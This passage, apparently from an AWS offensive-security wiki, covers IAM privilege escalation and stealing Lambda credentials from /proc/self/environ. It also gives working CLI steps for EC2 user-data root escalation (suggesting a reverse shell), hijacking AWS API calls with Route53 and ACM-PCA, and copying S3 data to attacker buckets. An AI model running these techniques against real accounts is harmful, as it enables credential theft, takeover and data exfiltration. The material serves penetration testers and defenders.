"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputgrouppolicy","title":"iam:PutGroupPolicy","text":"

With access to the iam:PutGroupPolicy permission, an adversary can create an inline policy for a group they are in and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepermissionsboundary","title":"iam:PutRolePermissionsBoundary","text":"

With access to the iam:PutRolePermissionsBoundary permission, an adversary can update a permissions boundary attached to a role they have access to. This may increase the role's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputrolepolicy","title":"iam:PutRolePolicy","text":"

With access to the iam:PutRolePolicy permission, an adversary can create an inline policy for a role they have access to and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpermissionsboundary","title":"iam:PutUserPermissionsBoundary","text":"

With access to the iam:PutUserPermissionsBoundary permission, an adversary can update a permissions boundary attached to a user they have access to. This may increase the user's effective permissions if the permissions boundary was more restrictive than any of the role's identity-based policies.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamputuserpolicy","title":"iam:PutUserPolicy","text":"

With access to the iam:PutUserPolicy permission, an adversary can create an inline policy for a user they have access to and give themselves administrator access to the AWS account.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamsetdefaultpolicyversion","title":"iam:SetDefaultPolicyVersion","text":"

With access to the iam:SetDefaultPolicyVersion permission, an adversary can revert a policy associated with their principal to a previous version. This is useful for scenarios in which a previous version of a policy had more access than the current version.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateassumerolepolicy","title":"iam:UpdateAssumeRolePolicy","text":"

With access to the iam:UpdateAssumeRolePolicy permission, an adversary can modify the assume-role policy of a role, allowing them to assume it. This is useful to gain access to administrator roles, or other more privileged roles.

"},{"location":"aws/exploitation/iam_privilege_escalation/#iamupdateloginprofile","title":"iam:UpdateLoginProfile","text":"

With access to the iam:UpdateLoginProfile permission, an adversary can change the password of an IAM user. This would allow them to log into the console as that user.

"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctioncode","title":"lambda:UpdateFunctionCode","text":"

With access to the lambda:UpdateFunctionCode permission, an adversary can modify an existing Lambda function's code. This would allow them to gain access to the privileges of the associated IAM role the next time the function is executed.

"},{"location":"aws/exploitation/iam_privilege_escalation/#lambdaupdatefunctionconfiguration","title":"lambda:UpdateFunctionConfiguration","text":"

With access to the lambda:UpdateFunctionConfiguration permission, an adversary can modify an existing Lambda function's configuration to add a new Lambda Layer. This Layer would then override an existing library and allow an adversary to execute malicious code under the privilege of the role associated with the Lambda function.

"},{"location":"aws/exploitation/lambda-steal-iam-credentials/","title":"Steal IAM Credentials and Event Data from Lambda","text":"
  • Technique seen in the wild

    Reference: Compromised Cloud Compute Credentials: Case Studies From the Wild

In Lambda, IAM credentials are passed into the function via environment variables. The benefit for the adversary is that these credentials can be leaked via file read vulnerabilities such as XML External Entity attacks or SSRF that allows the file protocol. This is because \"everything is a file\".

IAM credentials can be accessed via reading /proc/self/environ.

Note

In the event that /proc/self/environ is blocked by a WAF, check if you can read the environment variables of other processes. This can be done by reading /proc/#/environ where '#' is some number often between 1 and 20.

In addition to IAM credentials, Lambda functions also have event data that is passed to the function when it is started. This data is made available to the function via the runtime interface. Unlike IAM credentials, this data is accessible over standard SSRF at http://localhost:9001/2018-06-01/runtime/invocation/next.

This will include information about what invoked the Lambda function and may be valuable depending on the context.

Note

Unlike IAM credentials associated with EC2 instances, there is no GuardDuty alert for stolen Lambda credentials.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/","title":"EC2 Privilege Escalation Through User Data","text":"

If you've gained a foothold on an EC2 instance, use these these techniques to escalate privileges to root/System on the host.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#ec2modifyinstanceattribute","title":"ec2:ModifyInstanceAttribute","text":"
  • Required IAM Permissions

    • ec2:ModifyInstanceAttribute
  • Recommended but not Required IAM Permissions

    • ec2:StartInstances
    • ec2:DescribeInstances
    • ec2:StopInstances
  • Original Research

    aws_pwn:elevation by Daniel Grzelak

If an adversary has access to the modify-instance attribute permission they can leverage it to escalate to root/System on an EC2 instance.

Usually, user data scripts are only run the first time the instance is started, however this can be changed using cloud-init to run every time the instance restarts.

To do this, first create a file in the following format.

Content-Type: multipart/mixed; boundary=\"//\"\nMIME-Version: 1.0\n\n--//\nContent-Type: text/cloud-config; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"cloud-config.txt\"\n\n#cloud-config\ncloud_final_modules:\n- [scripts-user, always]\n\n--//\nContent-Type: text/x-shellscript; charset=\"us-ascii\"\nMIME-Version: 1.0\nContent-Transfer-Encoding: 7bit\nContent-Disposition: attachment; filename=\"userdata.txt\"\n\n#!/bin/bash\n**commands here**\n--//\n

Modify the commands here section to do whatever action you want. Setting a reverse shell, adding an ssh key to the default user, etc. are all good options.

Once you've done that, convert the file to base64. Linux can do this with the following command.

base64 file.txt > file.b64.txt

Windows can do this with the following command.

certutil -encode file.txt tmp.b64 && findstr /v /c:- tmp.b64 > file.b64.txt

Now that you've base64 encoded your payload, you will leverage the ec2:ModifyInstanceAttribute API call to change the user data of the target instance.

Note

The instance will need to be stopped to modify its user data. You'll either have to stop it yourself, or wait for something else to stop it.

aws ec2 modify-instance-attribute \\\n--instance-id=xxx \\\n--attribute userData \\\n--value file://file.b64.txt\n

With that change made, simply start the instance again and your command will be executed with root/System.

"},{"location":"aws/exploitation/local_ec2_priv_esc_through_user_data/#leverage-scripts-in-s3","title":"Leverage scripts in S3","text":"

A common pattern when using EC2 is to define a user data script to be run when an instance is first started or after a reboot. These scripts are typically used to install software, download and set a config, etc. Oftentimes the scripts and packages are pulled from S3 and this introduces an opportunity for a developer/ops person to make a mistake.

If the IAM role is too permissive and allows the role to write to that location, an adversary can leverage this for privilege escalation. Additionally, if there is any other kind of misconfiguration on the bucket itself, or another role which has access gets compromised, an adversary can take advantage of this as well.

Take the following user data script:

#!/bin/bash\naws s3 cp s3://example-boot-bucket/start_script.sh /root/start_script.sh\nchmod +x /root/start_script.sh\n/root/start_script.sh\n

On first launch, the EC2 instance will pull the start_script from S3 and will run it. If an adversary can write to that location, they can escalate privileges or gain control of the EC2 instance.

Note

In addition to new instances being spun up or after a reboot, poisoning the scripts/applications can also effect EC2 instances in an Auto Scaling Group.

"},{"location":"aws/exploitation/orphaned_cloudfront_or_dns_takeover_via_s3/","title":"DNS and CloudFront Domain Takeover via Deleted S3 Buckets","text":"
  • Additional Resources

    Discover Dangling Domains that point to your cloud assets to prevent subdomain takeover

  • Tools mentioned in this article

    domain-protect: OWASP Domain Protect - prevent subdomain takeover.

Utilizing various techniques for recon and enumeration, an attacker can discover orphaned Cloudfront distributions or DNS Records that are attempting to serve content from an S3 bucket that no longer exists. If an adversary finds one of these, they can create an S3 bucket in their own account and use it to serve malicious content. This content would then be distributed by the victim, and appear to be legitimate by an outside observer.

Note

Previously, calls to a CloudFront distribution backed by an S3 bucket that was deleted would result in a NoSuchBucket error. For example:

<Error>\n<Code>NoSuchBucket</Code>\n<Message>The specified bucket does not exist</Message>\n<BucketName>hackingthe.cloud</BucketName>\n<RequestId>68M9C1KTARF9FBYN</RequestId>\n<HostId>RpbdvVU9AXidVVI/1zD+WTwYdVI5YMqQNJShmf6zJlztBVyINq8TtqbzWpThdi/LivlOWRVCPVs=</HostId>\n</Error>\n

This made it easy for attackers to identify the bucket name and quickly create their own to serve malicious content. As of late 2023, this behavior has been changed. Now CloudFront distributions pointing to deleted S3 buckets will return a NotFound error, and will not include the bucket name. This is a clear security improvement from AWS and makes it more difficult for an adversary to abuse.

If an adversary can enumerate the deleted bucket name through other means they can perform the attack as normal.

While there are a variety of ways in which this could be harmful, typically an adversary would serve JavaScript content that could be used to impact other parts of the domain. An adversary could use this to potentially steal browser cookies, perform actions as the user, and more.

Tip

Misconfigurations such as these are typically caused by poor hygiene in retiring cloud resources. Always be sure to delete DNS records first to potentially mitigate these issues. There are automated services out there that will automate the discovery of vulnerable domains/CloudFront distributions such as OWASP's domain-protect.

"},{"location":"aws/exploitation/route53_modification_privilege_escalation/","title":"AWS API Call Hijacking via ACM-PCA","text":"
  • Required IAM Permissions

    • route53:CreateHostedZone
    • route53:ChangeResourceRecordSets
    • acm-pca:IssueCertificate
    • acm-pca:GetCertificate
  • Recommended but not Required IAM Permissions

    • route53:GetHostedZone
    • route53:ListHostedZones
    • acm-pca:ListCertificateAuthorities
    • ec2:DescribeVpcs
  • Original Research

    Hijacking AWS API calls by niebardzo

Note

To perform this attack the target account must already have an AWS Certificate Manager Private Certificate Authority (AWS-PCA) setup in the account, and EC2 instances in the VPC(s) must have already imported the certificates to trust it. With this infrastructure in place, the following attack can be performed to intercept AWS API traffic.

Assuming there is an AWS VPC with multiple cloud-native applications talking to each other and to AWS API. Since the communication between the microservices is often TLS encrypted there must be a private CA to issue the valid certificates for those services. If ACM-PCA is used for that and the adversary manages to get access to control both route53 and acm-pca private CA with the minimum set of permissions described above, it can hijack the application calls to AWS API taking over their IAM permissions.

This is possible because:

  • AWS SDKs do not have Certificate Pinning
  • Route53 allows creating Private Hosted Zone and DNS records for AWS APIs domain names
  • Private CA in ACM-PCA cannot be restricted to signing only certificates for specific Common Names

For example, Secrets Manager in us-east-1 could be re-routed by an adversary setting the secretsmanager.us-east-1.amazonaws.com domain to an IP controlled by the adversary. The following creates the private hosted zone for secretsmanager.us-east-1.amazonaws.com:

aws route53 create-hosted-zone --name secretsmanager.us-east-1.amazonaws.com --caller-reference sm4 --hosted-zone-config PrivateZone=true --vpc VPCRegion=us-east-1,VPCId=<VPCId>\n

Then set the A record for secretsmanager.us-east-1.amazonaws.com in this private hosted zone. Use the following POST body payload - mitm.json:

{\n  \"Comment\": \"<anything>\",\n  \"Changes\": [{\n    \"Action\": \"UPSERT\",\n    \"ResourceRecordSet\": {\n      \"Name\": \"secretsmanager.us-east-1.amazonaws.com\",\n      \"Type\": \"A\",\n      \"TTL\": 0,\n      \"ResourceRecords\": [{\"Value\": \"<ip_of_adversary_instance_in_the_VPC>\"}]\n    }\n  }]\n}\n

One set TTL to 0 to avoid DNS caching. Then, the advisory uses this payload to change-resource-record-sets:

aws route53 change-resource-record-sets --hosted-zone-id <id_returned_by_previous_API_call> --change-batch file://mitm.json\n

Now, the adversary must generate the CSR and send it for signing to the ACM-PCA, CSR and private key can be generated with OpenSSL:

openssl req -new -newkey rsa:2048 -nodes -keyout your_domain.key -out your_domain.csr\n

For CN (Common Name), one must provide secretsmanager.us-east-1.amazonaws.com. Then one sends the CSR to acm-pca to issue the certificate:

aws acm-pca issue-certificate --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\" --csr file://your_domain.csr --signing-algorithm SHA256WITHRSA --validity Value=365,Type=\"DAYS\" --idempotency-token 1234\n

It returns the signed certificate ARN in the response. The next call is to fetch the certificate.

aws acm-pca get-certificate --certificate-arn \"<cert_arn_from_previous_response>\" --certificate-authority-arn \"<arn_of_ca_used_within_vpc>\"\n

Once one got the signed certificate on the disk as cert.crt, the adversary starts the listener or 443/TCP and sniffs the calls to the secretsmanager.us-east-1.amazonaws.com

sudo ncat --listen -p 443 --ssl --ssl-cert cert.crt --ssl-key your_domain.key -v\n

The calls can be then forwarded to the Secrets Manager VPCE to for example GetSecretValue and get unauthorized access to the data. The same action can be done with any AWS API called from the VPC - S3, KMS, etc.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/","title":"Exfiltrating S3 Data with Bucket Replication Policies","text":"
  • Additional Resources

    Data exfiltration with native AWS S3 features by Ben Leembnruggen

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#introduction","title":"Introduction","text":"

S3 data replication provides the ability to copy objects to another bucket, which can be useful from an enterprise logging, integration or security perspective. This can be configure between buckets in the same account, or an unrelated account. Where this feature could be abused is where a malicious actor could input a replication policy to copy objects to an attacker controlled bucket. Objects will continue to be replicated for as long as the policy in place, applying to all future objects placed into the bucket. Using S3 batch operations, attackers can also replicate objects already in the bucket, making it a convenient method for extracting all current and future objects uploaded to the impacted bucket.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#required-configurations-and-permissions","title":"Required Configurations and Permissions","text":""},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#pre-requisites","title":"Pre-requisites","text":"

For bucket replication to be enabled, the following pre-requisites need to be in place:

  • The source bucket owner must have the source and destination AWS Regions enabled for their account. For the destination account, just the destination region needs to be enabled.
  • Both source and destination buckets must have versioning enabled.
  • If the source bucket has S3 Object Lock enabled, the destination buckets must also have S3 Object Lock enabled.
"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#iam-role","title":"IAM Role","text":"

Minimum Required IAM Permissions - Source Account

  • iam:CreateRole (creating a new role)
  • iam:CreatePolicy & iam:AttachRolePolicy (creating a new policy) or iam:PutRolePolicy (modifying an existing policy)
  • iam:UpdateAssumeRolePolicy

Like most things in AWS, the replication service requires a user supplied role to carry out the replication on your behalf. To replicate all data (including existing objects), an example trust policy and permission set would look something like:

Trust Policy

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"Service\": [\n                    \"s3.amazonaws.com\",\n                    \"batchoperations.s3.amazonaws.com\"\n                ]\n            },\n            \"Action\": \"sts:AssumeRole\"\n        }\n    ]\n}\n

IAM Permissions

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetReplicationConfiguration\",\n                \"s3:ListBucket\",\n                \"s3:PutInventoryConfiguration\",\n                \"s3:InitiateReplication\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:GetObjectVersionForReplication\",\n                \"s3:GetObjectVersionAcl\",\n                \"s3:GetObjectVersionTagging\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n            \"Effect\": \"Allow\",\n            \"Action\": [\n                \"s3:ReplicateObject\",\n                \"s3:ReplicateDelete\",\n                \"s3:ReplicateTags\"\n            ],\n            \"Resource\": \"*\"\n        },\n        {\n         \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjects\",\n         \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Decrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::SOURCEBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN SOURCE ACCOUNT CURRENTLY ENCRYPTING OBJECTS\" \n         ]\n      },\n      {\n        \"Sid\": \"OnlyRequiredIfReplicatingEncryptedObjectsToo\",\n        \"Effect\":\"Allow\",\n         \"Action\":[\n            \"kms:Encrypt\"\n         ],\n         \"Condition\":{\n            \"StringLike\":{\n               \"kms:EncryptionContext:aws:s3:arn\":[\n                  \"arn:aws:s3:::DESTINATIONBUCKET/*\"\n               ]\n            }\n         },\n         \"Resource\":[\n            \"KEY ID IN DESTINATION ACCOUNT TO BE SPECIFIED IN REPLICATION POLICY\" \n         ]\n      }\n    ]\n}\n

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#kms-if-objects-are-encrypted","title":"KMS - If objects are encrypted","text":"

Minimum Required IAM Permissions - Source Account

  • kms:PutKeyPolicy

Where a KMS policy is configured to only allow a subset of principals to access an encrypted S3 object, the key policy will need to be updated to allow the above replication role access to decrypt the S3 objects.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#attacker-account-configuration","title":"Attacker Account Configuration","text":"

Minimum Required IAM Permissions (Destination Account)

  • s3:PutBucketPolicy
  • kms:CreateKey, kms:PutKeyPolicy
  • s3:PutBucketVersioning

In order for a bucket to receive logs from another account, it requires a bucket policy explicitly allowing the replication of objects across. An example of this policy is below.

Destination Bucket Policy

{\n   \"Version\":\"2012-10-17\",\n   \"Id\":\"\",\n   \"Statement\":[\n      {\n         \"Sid\":\"Set permissions for objects\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:ReplicateObject\", \n            \"s3:ReplicateDelete\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET/*\"\n      },\n      {\n         \"Sid\":\"Set permissions on bucket\",\n         \"Effect\":\"Allow\",\n         \"Principal\":{\n            \"AWS\":\"arn:aws:iam::SOURCE_ACCOUNT_ID:role/S3_REPLICATION_ROLE\"\n         },\n         \"Action\":[\n            \"s3:List*\", \n            \"s3:GetBucketVersioning\", \n            \"s3:PutBucketVersioning\"],\n         \"Resource\":\"arn:aws:s3:::DESTINATION_BUCKET\"\n      }\n   ]\n}\n

If the S3 objects in the source account are encrypted, a key must be created in the destination account to encrypt the objects on replication. Additionally, a pre-requisite of bucket replication is that Bucket Versioning is enabled on the destination bucket.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#configuring-the-replication","title":"Configuring the replication","text":"

Minimum Required IAM Permissions - Source Account

  • s3:PutBucketReplication
  • iam:PassRole
  • s3:CreateJob & s3:UpdateJobStatus (Creating and starting a S3 batch replication job)
  • s3:PutBucketVersioning (Only if not already enabled)

The final step is to configure the replication between the source and destination buckets. Depending on whether you use the CLI or console, the steps can change slightly. The full process for both options is documented by AWS here.

In line with the steps above, ensure that: - Specify your created S3 replication role - Replicate existing objects (Disabled by default) - Select Replicate KMS Encrypted objects if needed (Disabled by default) - The Key ID should be the KMS key in the destination account.

"},{"location":"aws/exploitation/s3-bucket-replication-exfiltration/#what-defenders-can-look-for","title":"What defenders can look for","text":"
  • Unknown PutBucketReplication or JobCreated events in the Cloudtrail Management trail. The JobCreated event is generated when an S3 Batch operation job has been created, indicating that all existing objects in a bucket are being replicated across, as opposed to only future S3 objects.
  • When an encrypted object is replicated, KMS Decrypt/Encrypt events will appear in a Cloudtrail Management trail, with a principalID and sts assumed role prefixed with 's3-replication'. These encryption events will reference a KMS key in another account - which may trigger certain data perimeter detections.

  • Unknown PutBucketVersioning events (a pre-requisite of bucket replication) on existing S3 buckets, recorded by the Cloudtrail Management trail.

"},{"location":"aws/exploitation/s3_server_access_logs/","title":"Data Exfiltration through S3 Server Access Logs","text":"
  • Original Research

    Cloud services as exfiltration mechanisms by Costas Kourmpoglou

If we have control over an IAM identity that allows s3:GetObject, depending on the network access to the S3 service, we can use S3 server access logs to a bucket we control, and use it to exfiltrate data.

With server access logging, every request to our S3 bucket will be logged to a separate logging bucket. This includes internal AWS requests, or requests made via the AWS console. Even if a request is denied, the payload that the request is carrying, will be sent to our logging bucket. We can then send GetObject requests to s3 buckets, that we don't have access to, but because we control the server access logs, we will still receive the data that we want to exfiltrate in the first place.

"},{"location":"aws/exploitation/s3_server_access_logs/#how","title":"How","text":"

We'll create an S3 bucket, AttackerBucket in our account with server access logging. Let's name the logging bucket AttackerBucketLogs. With our data in hand ExampleDataToExfiltrate, we will send a GetObject request to our bucket, for example:

aws s3api get-object --bucket AttackerBucket --key ExampleDataToExfiltrate

The request will be denied. However the attempt along with the other details, including our key ExampleDatatoExfiltrate - which is the data we're exfiltrating - will arrive to our logging bucket AttackerBucketLogs.

We'll receive the data in the default logging format:

[..] attackerbucket [\u2026] 8.8.8.8 \u2013 [\u2026] REST.GET.OBJECT ExampleDataToExfiltrate \"GET / ExampleDataToExfiltrate HTTP/1.1\" 403 AccessDenied 243 - 18 - \"-\" \"UserAgentAlsoHasData \" \u2013 [\u2026]\n

We're exfiltrating data, using the Key parameter of the request. There's a hard limit of 1024 bytes per Key, but other request fields can be used like User-Agent.

"},{"location":"aws/exploitation/s3_server_access_logs/#challenges","title":"Challenges","text":"

There are two challenges with this method:

  1. If the network access to the S3 service takes place over a VPC endpoint, then the policy of the VPC endpoint would need to allow access to our bucket. The VPC endpoint will drop the request and will not forward it to the S3 service, if the policy doesn't allow it. The S3 service won't be able to generate logs, and we won't be able to exfiltrate data.

  2. The logs are not guaranteed to arrive in order. If you're splitting data across multiple requests, you'll need to figure out a mechanism to re-order the data correctly.

For the general usecase where network access to the S3 service takes place over the internet, there is a 10-120 minute delay, in the log delivery.

"},{"location":"aws/exploitation/s3_streaming_copy/","title":"S3 Streaming Copy","text":"

Shout Out to Janardhan Prabhakara for showing me this all those years ago!

Requirements: a shell, terminal session, command prompt, a victim's AWS Access Key or STS token, an attacker AWS key and bucket to land in a separate account.

Why would anyone use this?

In many environments AWS to AWS traffic is largely unfiltered and voluminous. As well, an attacker may find a key that can perform GetObject action on S3, but not PutObject. Or perhaphs, more likely, an attacker would like to hide their exfiltration commands.

If an attacker lands a shell on an EC2 Instance of the victim, any issued aws commands will be coming from an expected/trusted network which is even less likely to be detected. However, S3 Streaming Copy techniques can also be used from any terminal with aws-cli.

When this attack is perfomed the S3 GetObject call is recorded in the VICTIM cloudtrail dataevents (if enabled, which is unlikley) But, the S3 PutObject call is recorded in the ATTACKER's cloudtrail. The VICTIM cannot see the S3 PutObject side of the copy in AWS Cloudtrail.

When using the aws-cli utilize the --profile to specify the IAM context profile from the .aws/credentials file.

Step 1: setup an profile in .aws/credentials for the ATTACKER credentials. These are credentials from your attacker controlled account aka not the victims credentials

[attacker]\naws_access_key_id = <attacker_key_id>\naws_secret_access_key = <attacker_secret_key>\n

Step 2: Create a profile for the VICTIM credentials. These are the keys attained with access to the victim's AWS enviornment.

Note

This step is optional if using a shell on a VICTIM EC2, running an EC2 instance profile that has the permissions to test.

[victim]\naws_access_key_id = <victim_key_id>\naws_secret_access_key = <victim_secret_key>\n

Step 3: example: S3 Stream Copy command for a single file from cli

aws s3 cp --profile victim s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

Step 3: example: S3 Stream Copy command for a single file from cli of an Ec2 instance using the Instance Profile

aws s3 cp s3://victim_bucket/juicy_data.txt - | (aws s3 cp --profile attacker  - s3://attacker_bucket/juicy_data.txt )\n

Prevention: A known, but not very common, way to prevent this is by mandating S3 communication through a VPC Endpoint and applying a VPC Endpoint Policy that denies any request that does not match the principalOrgId.

This is becoming more common with the popularity of Data Perimeter guardrails

Note

If this technique doesn't work, it is possible there is a VPC Endpoint policy is in place. Try making the ATTACKER destination bucket in another AWS Region as Cross-region calls typically do not traverse a VPC Endpoint.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/","title":"Misconfigured Resource-Based Policies","text":"

Resource-based policies are an often overlooked part of AWS security that can have significant implications. A resource-based policy is a type of policy that is attached directly to an AWS resource that describes what actions can be performed on it and by whom.

For example, the following is a bucket policy (a type of resource-based policy) that would permit the tester user to list the contents of the super-public-fun-bucket S3 bucket.

{\n    \"Version\": \"2012-10-17\",\n    \"Statement\": [\n        {\n            \"Sid\": \"AllowS3Listing\",\n            \"Effect\": \"Allow\",\n            \"Principal\": {\n                \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n            },\n            \"Action\": \"s3:ListBucket\",\n            \"Resource\": \"arn:aws:s3:::super-public-fun-bucket\"\n        }\n    ]\n}\n

Resource-based policies make it easy to share AWS resources across AWS accounts. They also, as a result, make it easy to unintentionally share resources. The common example of this is misconfigured S3 buckets which leak sensitive information.

For a Penetration Tester or Red Teamer it is important to understand the intricacies of how resource-based policies work, and how they can be abused.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#the-principal-and-risks","title":"The \u201c*\u201d Principal and Risks","text":"

In a resource-based policy you must specify a \u201cprincipal\u201d. This is the entity who is allowed (or denied) the ability to perform the action. It is possible to specify \u201c*\u201d as a principal which means that all users will be able to act on it. This effectively makes the resource public and anyone can perform actions against it.

For a real world example of this, a telecommunications company had the following bucket policy set.

{\n  \"Sid\": \"AllowPublicRead\",\n  \"Effect\": \"Allow\",\n  \"Principal\": {\n    \"AWS\": \"*\"\n  },\n  \"Action\": [\n    \"s3:GetObject\",\n    \"s3:PutObject\"\n  ],\n  \"Resource\": \"arn:aws:s3:::media.tellacom.com/taskrouter/*\"\n}\n

The bucket this policy was attached to was used to distribute a JavaScript SDK, which would be a valid use-case for a public S3 bucket. As can be seen from the Action statement, the policy permitted both s3:GetObject and s3:PutObject. This enabled an attacker to overwrite the JavaScript SDK sitting in the bucket with malicious code. This code was then distributed from the legitimate bucket.

While resource-based policy misconfigurations are often associated with leaking information (read), it is equally as dangerous that an adversary could modify (write to) the resource(s).

Note

Condition operators can be used to scope down the policy. For example, the principal can be set to \u201c*\u201d but the conditions can enforce which account can perform an action. It is important to thoroughly read the policy and understand the context before creating a finding for it.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#more-than-just-s3-buckets","title":"More Than Just S3 Buckets","text":"

It is worth noting that there are many different AWS services/resources which make use of resource-based policies. Each service will have its own security implications based on what the principal is and what the actions are.

Note

Prowler, an AWS assessment tool, can be used to quickly audit resource policies in an AWS account. Be mindful that it cannot contextualize all condition operators, and how they affect the account\u2019s security.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#dumping-and-analyzing-resource-based-policies-at-scale","title":"Dumping and analyzing resource-based policies at scale","text":"

You can download a copy of all resource-based policies configured in an account and run security linting checks against them using the aws-lint-iam-policies tool. It performs linting checks using the AWS IAM Access Analyzer policy validation feature, which also brings along a list of security-focused checks.

Example invocation:

python aws_lint_iam_policies.py --scope ACCOUNT --dump-policies\n

Instead of analyzing a single AWS account, the tool can also target all accounts of an AWS Organization.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#resource-based-policy-evaluation-logic","title":"Resource-Based Policy Evaluation Logic","text":"

It is important to note that resource-based policies have a unique quirk when it comes to policy evaluation logic. From the documentation, \u201cDepending on the type of principal, an Allow in a resource-based policy can result in a final decision of Allow, even if an implicit deny in an identity-based policy, permissions boundary, or session policy is present [within the same account]\u201d.

Note

An implicit deny is when there is no specific Deny statement, but there is also no Allow statement in a policy. You can think of an implicit deny as the starting point of a policy. Everything is denied by default and access has to be granted.

An explicit deny is when there is a specific Deny statement in a policy.

More information can be found in the documentation for the difference between explicit and implicit denies.

This means that if there is an Allow in a resource policy, that entity can perform actions on the resource without an associated identity policy. Take the following SNS topic access policy (a form of resource-based policy) for example:

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/tester\"\n      },\n      \"Action\": [\n        \"SNS:GetTopicAttributes\",\n        \"SNS:SetTopicAttributes\"\n      ],\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
This policy would permit the tester IAM user to perform sns:GetTopicAttributes and sns:SetTopicAttributes without the need for an Allow in the identity policies attached to the user.

Note

This behavior only applies to entities in the same AWS account. If the resource-based policy specified an IAM user in a different AWS account, that user would need to have an identity policy attached that allowed the action.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#not-policy-elements","title":"\u201cNot\u201d Policy Elements","text":"

Within the syntax for IAM policies in AWS exist three \u201cNot\u201d policy elements, NotPrincipal, NotAction, and NotResource. These elements have the inverse effect of their similarly named counterparts and, when paired with an Allow, can be a very serious misconfiguration.

Because of this, policies which include these elements should be strictly scrutinized for potential misconfigurations.

"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notprincipal","title":"NotPrincipal","text":"

The NotPrincipal element is used to specify which entity is not a part of the policy. When paired with an Allow this means that all entities (including those outside of the account) will be permitted to perform actions against the resource.

For example, the following SNS access policy would permit any entity to perform sns:GetTopicAttributes except for the jim user.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"NotPrincipal\": {\n        \"AWS\": \"arn:aws:iam::111111111111:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notaction","title":"NotAction","text":"

The NotAction element is used to specify all actions except the specified one. When paired with an Allow this means that all actions except the ones specified will be permitted.

For example, the following SNS access policy would permit any entity the ability to perform all SNS actions except sns:Publish.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"*\"\n      },\n      \"NotAction\": \"SNS:Publish\",\n      \"Resource\": \"arn:aws:sns:us-east-1:111111111111:test_topic\"\n    }\n  ]\n}\n
"},{"location":"aws/exploitation/Misconfigured_Resource-Based_Policies/#notresource","title":"NotResource","text":"

The NotResource element is used to specify all resources except the specified one. When paired with an Allow this means that if the resource is incorrect, or mistyped, the statement will evaluate to true.

For example, the following SNS access policy for an SNS topic named first_topic would permit the user jim the ability to perform the sns:GetTopicAttributes action because the statement specifies a NotResource element of second_topic.

{\n  \"Version\": \"2008-10-17\",\n  \"Id\": \"__default_policy_ID\",\n  \"Statement\": [\n    {\n      \"Sid\": \"__default_statement_ID\",\n      \"Effect\": \"Allow\",\n      \"Principal\": {\n        \"AWS\": \"arn:aws:iam::222222222222:user/jim\"\n      },\n      \"Action\": \"SNS:GetTopicAttributes\",\n      \"NotResource\": \"arn:aws:sns:us-east-1:111111111111:second_topic\"\n    }\n  ]\n}\n
